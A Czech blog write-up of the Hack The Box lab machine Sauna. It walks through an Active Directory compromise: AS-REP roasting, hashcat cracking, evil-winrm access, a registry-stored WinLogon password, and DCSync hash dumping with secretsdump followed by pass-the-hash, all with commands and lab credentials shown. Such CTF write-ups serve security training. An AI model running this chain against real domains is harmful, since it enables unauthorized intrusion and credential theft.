tom@home.htb:~$

Blog o HTB

8 January 2021

Sauna

Úvod a kontext

Sauna je typický AD stroj, kde první foothold nevzniká exploitem služby, ale kombinací veřejných informací a slabé konfigurace Kerberosu. Z veřejně dostupných jmen zaměstnanců šlo připravit kandidátní účty, z nich udělat AS-REP roast a po prolomení hesla přejít na WinRM. Tenhle úvodní model rozebírám i obecněji v článku Kerberos útoky z nulového přístupu: AS-REP roast a práce s kandidátními uživateli.

Zbytek řetězce pak stojí na dvou běžných provozních chybách: uloženém heslu v WinLogon a příliš silných právech servisního účtu. Právě proto je Sauna dobrý materiál pro vysvětlení, jak se v Active Directory skládají zdánlivě malé chyby do plného kompromisu.

Počáteční průzkum

Vyhledání otevřených portů

První scan ukázal řadič domény s Kerberem, LDAP a WinRM.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v $IP
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0

Vedle toho DNS potvrdilo hostname řadiče:

dig ANY EGOTISTICAL-BANK.LOCAL @$IP
sauna.EGOTISTICAL-BANK.LOCAL. 3600 IN A 10.10.10.175

Praktickou roli podobných rychlých DNS dotazů rozebírám i v článku host a dig.

Kandidátní uživatelská jména z veřejného webu

Web banky publikoval jména zaměstnanců, například Fergus Smith nebo Hugo Bear. To samo o sobě není zranitelnost, ale v AD prostředí je to velmi užitečný materiál pro tvorbu uživatelského seznamu.

python get-usernames.py Sauna-names.txt > Sauna-users-all.txt

Smysl tohohle kroku je prostý: Kerberos útoky typu AS-REP roast dávají smysl až ve chvíli, kdy mám dost realistický seznam účtů.

Analýza zjištění

AS-REP roast účtu FSmith

Jakmile byl připravený seznam uživatelů, dalo se ověřit, zda některý z nich nemá vypnutou předautentizaci Kerberosu.

GetNPUsers.py -format hashcat -usersfile Sauna-users-all.txt \
  -outputfile Sauna-hashes.asreproast -dc-ip 10.10.10.175 \
  EGOTISTICAL-BANK.LOCAL/

Zajímavý výsledek vrátil účet FSmith. To je důležitý moment: ne každý platný účet je automaticky zneužitelný, ale účet bez pre-auth umožní offline útok na získaný AS-REP.

Dalším krokem bylo prolomení hashe. Praktickou roli offline crackingu v podobných řetězcích rozebírám i v článku Hashcat:

hashcat -m 18200 --force -a 0 Sauna-hashes.asreproast /usr/share/wordlists/rockyou.txt
Thestrokes23

Získání přístupu

WinRM jako FSmith

Heslo Thestrokes23 šlo rovnou ověřit proti WinRM:

evil-winrm -i 10.10.10.175 -u FSmith -p 'Thestrokes23'

Tím vznikl první stabilní shell a bylo možné potvrdit user.txt. Důležitější než samotný flag ale byla lokální enumerace. Přes enum4linux bylo vidět, že ve skupině Remote Management Users je i servisní účet svc_loanmgr, tedy další kandidát na přímý management přístup.

Únik servisního hesla z WinLogon

Rozhodující mezikrok pak ležel v registrech:

Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' |
  Select-Object Default*
DefaultDomainName EGOTISTICALBANK
DefaultUserName   EGOTISTICALBANK\svc_loanmanager
DefaultPassword   Moneymakestheworldgoround!

Zápis obsahoval lehce odlišné jméno svc_loanmanager, ale z předchozí enumerace bylo zřejmé, že reálný účet je svc_loanmgr. Heslo Moneymakestheworldgoround! tedy dávalo smysl zkusit právě proti němu.

evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'

Eskalace oprávnění

svc_loanmgr a replikace tajemství

Účet svc_loanmgr měl dostatečná oprávnění na to, aby secretsdump.py získal doménové hashe včetně Administrator. Praktický kontext podobných utilit rozebírám i v článku Impacket pro relay, tajemství a delegovaná práva. Samotný bezpečnostní vzorec přehnaně silného servisního účtu pak zapadá do širšího článku Delegovaná práva v AD: DCSync, gMSA, relay, deleted objects.

secretsdump.py 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround!@sauna.EGOTISTICAL-BANK.LOCAL'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::

To je zásadní přechod od běžného uživatelského shellu k plné kompromitaci domény. Jakmile je k dispozici NTLM hash administrátora, stačí pass-the-hash přes WinRM:

evil-winrm -i 10.10.10.175 -u Administrator -H 'd9485863c1e9e05851aa40cbb4ab9dff'

V tomhle bodě už bylo možné přečíst root.txt a považovat stroj za plně kompromitovaný.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: windows - kerberos - ldap - winrm - active-directory